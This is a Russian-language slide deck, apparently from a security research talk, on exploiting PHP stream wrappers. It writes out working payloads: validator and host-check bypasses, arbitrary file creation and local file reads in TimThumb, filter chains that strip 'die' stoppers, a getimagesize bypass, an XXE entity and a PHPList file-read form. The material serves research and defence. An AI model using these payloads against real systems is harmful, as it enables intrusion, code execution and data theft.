  • 6. Замена NULL байта. $s = $_POST[„path‟]; include $s.‟/header.html‟; Использование врапперов: http:// ftp:// data:// ограничивается директивой allow_url_include. Использование NULL байта, при инклюде локальных файлов, ограничивается директивой magic_quotes_gpc. Если есть возможность создать zip-архив, можно использовать обертку zip:// path=zip:///tmp/any_name_zip_arxiv#/my Этот подход даст результат при allow_url_fopen=Off и при magic_quotes_gpc = On Имя архива может быть произвольным, это дает возможность использовать временные файлы, которые создаются, при загрузке контента. Путь до временного файла можно узнать из phpinfo(): https://rdot.org/forum/showthread.php?t=1134
  • 7. Wrapper data:// (RFC 2397) Согласно RFC 2379 обертка data:// допускает более развернутый синтаксис: dataurl := "data:" [ mediatype ] [ ";base64" ] "," data mediatype := [ type "/" subtype ] *( ";" parameter ) data := *urlchar parameter := attribute "=" value Особенность враппера: mediatype может либо полностью отсутствовать, либо быть заполнен произвольными значениями: data://anytype/anysubtype;myattr!=V@l!;youattr?=Op$;base64
  • 8. Trick: function stream_get_meta_data Манипулирование элементами массива, возвращаемого stream_get_meta_data $password = 'secret'; $file = $_POST['file']; $fp = fopen( $file, 'r'); extract(stream_get_meta_data($fp)); if ( $mediatype === 'text/plain') { ... } if ( $_COOKIE['admin'] === $password) { ... } Перезаписываем переменную $password POST DATA: file=data://text/plain;password=mysecret;base64, Обходим авторизацию: Cookie: admin=mysecret
  • 9. Враппер compress.zlib:// применение compress.zlib://, не изменяет содержимое обычных файлов readfile('compress.zlib:///etc/hosts'); в пути до локального файла, могут быть указаны, не существующие каталоги $url = 'compress.zlib:///http://../etc/hosts'; if (preg_match('/http:///', $url) == true) { echo "Yes!"; }
  • 10. Any Data in parse_url Функция parse_url, может обрабатывать не только URL, но и строки довольно общего вида. $url_info = parse_url($_POST[„src‟]); if ($url_info['host'] === 'img.youtube.com') { $name = str_replace('/', '', substr($url_info['path'], 4)); copy( $src, './'.$name ); } Загрузка изображений с img.youtube.com: POST DATA: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg Обход проверки на имя хоста, и создание произвольных файлов: POST DATA: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAo Копирование локальных файлов: POST DATA: src=compress.zlib://img.youtube.com/../path/to/local/file;
  • 11. Bypass preg_match validate Обход фильтра на основе preg_match POST DATA: src=data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAo POST DATA: src=compress.zlib://youtube.com/../http://?/../../path/to/local/file function validate_url ($url) { $pattern = "/b(?:(?:https?)://|www.)[-a-z0-9+&@#/%?=~_|!:,.;]*[-a-z0-9+&@#/%=~_|]/i"; return preg_match ($pattern, $url); } $src = $_POST['src']; if (!validate_url ($src)) display_error ('invalid url');
  • 12. Загрузка произвольных файлов в TimThumb TimThumb – популярный скрипт для ресайза изображений. Public Exploit for v 1.32 (08/2011): http://www.exploit-db.com/exploits/17602 New Wrappers Exploit for v1.34 (revision 145) function check_external ($src) { ………………… if (!validate_url ($src)) display_error ('invalid url'); $url_info = parse_url ($src); ................... if ($url_info['host'] == 'www.youtube.com' || …) parse_str($url_info['query']); .................. $fh = fopen($local_filepath, „w‟); $ch = curl_init($src); ………………….. $files_infos = getimagesize ($local_filepath); if (empty($file_infos[„mime‟]) || …..) unlink($local_filepath); ……………………………… http://www.youtube.com/?local_filepath=php://filter/resource%3D./path/to/.php &url_info[host]=img.youtube.com&src=http://mysite.com/thumb.txt
  • 13. Манипуляции с файлами в TimThumb v1.35 Требования: Функция curl_init отключена на атакуемом сервере. ………………… if (!$img = file_get_contents ($src)) { display_error ('error....'); } if (file_put_contents ($local_filepath, $img) == FALSE) { display_error ('error.....'); } ………………… Создание файлов с произвольным содержимым: data://img.youtube.com/e;charset=http://w?&var=;base64,SSBsb3ZIIFBIUAo «Чтение» локальных файлов: compress.zlib://youtube.com/../http://?/../../path/to/local/file
  • 14. Скрытый потенциал враппера php://filter php://filter – позволяет применять фильтры к потоку во время открытия. Обрабатываем содержимое файла фильтрами: readfile('php://filter/read=string.toupper|anyfilter|string.rot13/resource=./file.php'); Использование неопределенного фильтра, не влияет на обработку данных другими фильтрами. Фильтры convert.base64-decode и string.strip_tags могут удалить часть данных из потока. В 2009 году Стефан Эссер использовал особенность фильтра convert.base64-decode в эксплойте для Piwik: http://sektioneins.de/en/advisories/advisory-032009-piwik-cookie-unserialize-vulnerability С 2009 года остались не раскрыты два важных вопроса: Каким образом уничтожать «ненужные» данные? Какие возможности дает применения фильтров?
  • 15. Алгоритм Base64: кодирование Алгоритм Base64 описан в RFC 2045 раздел 6.8. Алфавит Base64: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
  • 16. Алгоритм Base64: декодирование. При декодировании, во входящей строке символы не из алфавита Base64 игнорируются. Входящая строка разбивается на части по 4 символа, каждая часть обрабатывается отдельно.
  • 17. Пример "выдавливания" стопера. Применяя base64_decode к строке несколько раз, можно удалить часть данных. $content = "; <? die; ?>n"; $content .= "[/Ly8vVTFOQ1RXSXpXbXhKUmtKSlZVRTlQUT09]n"; $file = 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode /resource=./PoC'; file_put_contents($file, $content); “Заглушка”: /Ly8v ( base64_decode('Ly8v') == '///‟ ) Фильтр convert.base64-decode не обрабатывает строки содержащие в середине знаки равенства. $s = 'php://filter/read=convert.base64-decode/resource=data:,dGVzdA==CRAP'; var_dump(file_get_contents($s)); // print: string(0) ""
  • 18. Фильтр string.strip_tags Процесс "выдавливания" можно ускорить с помощью фильтра string.strip_tags $content = "; <? die; ?>n"; $content .= "=3C=3Fprint('PHP');n"; $file = 'php://filter/write=string.strip_tags|convert.quoted-printable-decode/resource=./PoC'; $quoted_printable_lt = $content); file_put_contents($file, '='.strtoupper(dechex(ord('<'))); // =3C Фильтр convert.quoted-printable-decode, обрабатывает строку посимвольно. Символы в формате Quoted-Printable ( RFC2045 раздел 6.7 ), преобразуются в символы 8 битной кодовой таблицы. Преобразование в формат Quoted-Printable. $quoted_printable_lt = '='.strtoupper(dechex(ord('<'))); Фильтр convert.quoted-printable-decode, не даст ожидаемого результата, если в строке содержится знак равенства, после которого нет шестнацетиричного кода символа. $s = 'php://filter/read=convert.quoted-printable-decode/resource=data:,dGVz=CRAP'; var_dump(file_get_contents($s)); // print: string(0) ""
  • 19. TextPattern: Upload Arbitrary Files (I) Данные об авторах комментариев сохраняются в файл с расширением .php $file = $prefs['tempdir'].DS.'evaluator_trace.php'; if (!file_exists($file)) { $fp = fopen($file, 'wb'); if ($fp) fwrite($fp, "<?php return; ?>n". "This trace-file tracks saved comments. (created ". Пп safe_strftime($prefs['archive_dateformat'],time()).")n". "Format is: Type; Probability; Message “ . “(Type can be -1 => spam, 0 => moderate, 1 => visible)nn");
  • 21. Обход проверки getimagesize (I) С помощью фильтров можно удалять не только “стоперы”, например можно модифицировать содержимое изображения, после того как оно прошло проверку на основе функции getimagesize. Если в EXIF изображения внедрить данные
  • 22. Обход проверки getimagesize (II) extract($_REQUEST); ….. include $templatedir.'/header.html'; ..... if (!empty($_FILES) ) { $file_info = getimagesize($_FILES['image']['tmp_name']); if($file_info['mime'] == 'image/jpeg') { if ( move_uploaded_file( $_FILES['image']['tmp_name'], $folder.'/avatar.jpg') ) ...... Загружаем изображение, но на сервере сохраняется zip-архив, содержащий файл /my/header.html folder=php://filter/write=string.strip_tags|convert.base64-decode/resource=/tmp/ Инклюдим файл внутри zip-архива templatedir=zip:///tmp/avatar.jpg#/my
  • 23. Файлы с произвольным содержимым Создание файлов с произвольным содержимым дает возможность: создать файл сессии и реализовать unserialize bug через session_start() создать zip архив и проэксплуатировать RFI cоздать/перезаписать файлы htaccess/htpasswd создать или перезапись шаблоны.
  • 24. parse_ini_file atack Функция parse_ini_file обрабатывает только локальные файлы. session_start(); $_SESSION['admin'] = $_POST['name']; ....... $var = parse_ini_file($inifile); require $var['require']; Создаем файл сессии /tmp/sess_dffdsdf24gssdgsd90 admin|s:68:"Ly8vVnpOYWFHTnNNRXRqYlZaNFpGZHNlVnBVTUdsTU1sWXdXWGs1YjJJelRqQmplVWs5" Используя фильтры преобразуем файл сессии в формат, доступный функции parse_ini_file php://filter/read=convert.base64-decode|convert.base64-decode| convert.base64-decode/resource= /tmp/sess_dffdsdf24gssdgsd90
  • 25. XXE Atack Чтение файлов за счет внедрения внешней сущности в XML. <?xml version='1.0'?> <!DOCTYPE scan [ <!ENTITY test SYSTEM "php://filter/read=convert.base64- encode/resource=http://127.0.0.1/server-status"> ]> <scan>&test;</scan> Функция simplexml_load_file и метод DOMDocument::load поддерживают врапперы.
  • 26. Частичное чтение файлов в PHPList <= 2.10.13 (I) Причиной уязвимости, является возможность изменять структуру массива $_FILES http://isisblogs.poly.edu/2011/08/11/php-not-properly-checking-params/ if (is_array($_FILES)) { ## only avatars are files foreach ($_FILES['attribute']['name'] as $key => $val) { if (!empty($_FILES['attribute']['name'][$key])) { $tmpnam = $_FILES['attribute']['tmp_name'][$key]; $size = $_FILES['attribute']['size'][$key]; if ($size < MAX_AVATAR_SIZE) { $avatar = file_get_contents($tmpnam); Sql_Query(sprintf('replace into %s (userid,attributeid,value) values(%d,%d,"%s")',$tables["user_attribute"],$id,$key,base64_encode($avatar))); С помощью следующей HTML формы возможно загружать файлы в базу данных. <form action="http://localhost/lists/admin/?page=user&id=1" method="POST” enctype="multipart/form-data" > <input type="file" name="attribute[tmp_name]["> <input type="file" name="attribute[size]["> <input type="file" name="attribute[[tmp_name]"> <input type="file" name="attribute[name]["> <input name="change" value="Save Changes" type="submit"> </form>
  • 27. Частичное чтение файлов в PHPList <= 2.10.13 (II)
  • 28. Ограничения использования врапперов. При установленном Suhosin-е, по умолчанию невозможно использовать врапперы в инклюдах. (даже при allow_url_include = On). Например, обертка zip:// становиться доступной, только после добавления в whitelist: suhosin.executor.include.whitelist = “zip” Функции file_exists, is_file, filesize возвращают FALSE, если в качестве имени файла используются врапперы: php://filter, zip://, data://.